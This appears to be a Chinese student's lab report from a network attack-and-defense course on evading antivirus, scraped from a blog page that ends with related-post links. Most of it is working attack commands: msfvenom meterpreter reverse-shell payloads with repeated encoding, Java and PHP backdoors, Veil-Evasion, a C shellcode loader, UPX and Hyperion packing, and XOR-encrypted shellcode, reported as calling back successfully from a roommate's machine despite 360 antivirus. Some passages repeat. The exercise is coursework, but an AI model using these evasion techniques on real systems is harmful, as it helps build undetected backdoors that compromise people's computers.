2018-2019-2 网络对抗技术 20165239 Exp3 免杀原理与实践

win10 ip地址 192.168.18.1

fenix ip地址为 192.168.18.128

(1)杀软是如何检测出恶意代码的?
•根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这些特征码来判定他是不是病毒。
•根据该软件的行为进行检测如有异常行为,会被判定为风险文件或病毒。
•基于行为的恶意软件检测:在启发式基础上对软件行为进行监控

(2)免杀是做什么?
通过一定的技术手段,将恶意软件处理,使之不会被杀毒软件发现。

(3)免杀的基本方法有哪些?
•改变特征码:对于.exe文件可以加壳,对于shellcode可以进行加密然后利用shellcode生成可执行文件,或者用其他语言进行重写再编译
•改变行为:根据改变通讯模式、操作模式来实现免杀。

  1. 实践内容

任务一: 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。
•VirusTotal扫描后结果如下:

2.用msf编码器对后门程序进行一次到多次的编码,并进行检测
•一次编码使用命令:

•VirusTotal扫描后结果如下:


•十次编码使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.241 LPORT=5336 -f exe > met-encoded10.exe

•VirusTotal扫描后结果如下:

3.msfvenom生成jar文件、php文件

•生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 x> 5239_backdoor_java.jar

•VirusTotal扫描后结果如下:

•生成php后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.18.128LPORT=5239 x> 5239_backdoor.php

•VirusTotal扫描后结果如下:

4.使用veil-evasion生成后门程序及检测
•安装veil
代码
:sudo apt-get install veil

•安好后use evasion命令进入Evil-Evasion

•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239命令use c/meterpreter/rev_tcp.py进入配置界面

•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239

•指令generate生成文件,输入playload的名字:veil_c_5239

•VirusTotal扫描后结果如下

5.手工注入Shellcode并执行
•使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239-f c用c语言生成一段shellcode;

•vim 20165239.c,然后将unsigned char buf[]赋值到其中
unsigned char buf[] =
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 -f c生成的代码 加
int main()
{
int (func)() = (int()())buf;
func();
}

•使用命令:i686-w64-mingw32-g++ 20165239.c -o 20165239.exe编译这个.c文件为可执行文件;
•VirusTotal扫描后结果如下

6.加壳尝试
•加压缩壳upx 20165239.exe -o 20165239_uped.exe

•VirusTotal扫描后结果如下:

•加密壳Hyperion:进入目录/usr/share/windows-binaries/hyperion/中将20165239_uped.exe拷贝进来并用wine hyperion.exe -v 20165239_upxed.exe 20165239_upxed_Hyperion.exe进行加壳

•VirusTotal扫描后结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳。

•实现免杀效果,并回连成功 杀毒软件为360安全卫士
的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳



任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
•对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)

实验感想:
本次实验大多数是我一个人完成的,有些不会则问舍友同学,在安装kali过程中很多都是问舍友,还有查阅网上的资料

2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20145308 《网络对抗》 MAL_免杀原理及实践 学习总结

    20145308 <网络对抗> MAL_免杀原理及实践 学习总结 实践内容 (1)理解免杀技术原理 (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免 ...

  3. 20155217《网络对抗》Exp03 免杀原理与实践

    20155217<网络对抗>Exp03 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程 ...

  4. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  5. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  6. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  7. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  8. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  9. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

随机推荐

  1. Ubuntu18.04关机卡死问题

    直接进入正题!你的电脑卡死说明带有独显!而Ubuntu默认是不给你的显卡装驱动的,那这就导致关机卡死的问题.按住键盘Ctrl+Alt+T打开终端,输入下面的命令 software-properties ...

  2. C语言的函数指针数组(好绕啊~看完这篇估计就通关了)

    转自https://www.cnblogs.com/chr-wonder/p/5168858.html int *(*p(int))[3] 今天有人问这个是啥?我一看直接就懵逼了…… 下面做一些简单的 ...

  3. Java虚拟机内存溢出异常--《深入理解Java虚拟机》学习笔记及个人理解(三)

    Java虚拟机内存溢出异常--<深入理解Java虚拟机>学习笔记及个人理解(三) 书上P39 1. 堆内存溢出 不断地创建对象, 而且保证创建的这些对象不会被回收即可(让GC Root可达 ...

  4. file 多次上传附件功能完善

    之前解决了一个页面中的单个附件上传问题,使用的是 id 定位.但是一个页面中,可能存在多个附件上传的地方,这时候如果继续使用 id,会出问题. 我依旧会上传一个附件.附件链接地址: https://f ...

  5. 乙方渗透测试之Fuzz爆破

    前言 爆破在渗透测试中,对技术的要求不高,但是对技巧和字典的要求就很高了,本篇整理下平时学到的一些爆破思路和技巧(偏web渗透登陆),当你无措可施时,暴力破解是最好的方式. 世界上最可怕的事情是你的习 ...

  6. python3 练手实例6 做一个简单日历

    import calendar year = int(input('请输入要查询的年份:')) month = int (input('请输入要查询的月数:')) print (calendar.mo ...

  7. Livereload or meta

    静态页面布局的过程中,如果可以一边写一边看见结果,那肯定是很方便的,在最开始使用的DW中实现了这一目标,但并不是浏览器环境下.之后使用gulp中的livereload后配合chrome插件livere ...

  8. 关于接口(Interface)

    接口,其实是指类之间约定的协议,可以包含方法.属性.事件和索引: 接口成员不允许使用访问修饰符号(public.private.protected.internal),所有的接口成员都是公共的. 接口 ...

  9. 简单文本悬浮div提示效果

    <html> <head> <script src="jquery-1.9.1.min.js" type="text/javascript& ...

  10. mock.js使用总结

    基本使用: 1 引入mock.js 2 var data = Mock.mock({ // 属性 list 的值是一个数组,其中含有 1 到 10 个元素 'list|1-10': [{ // 属性 ...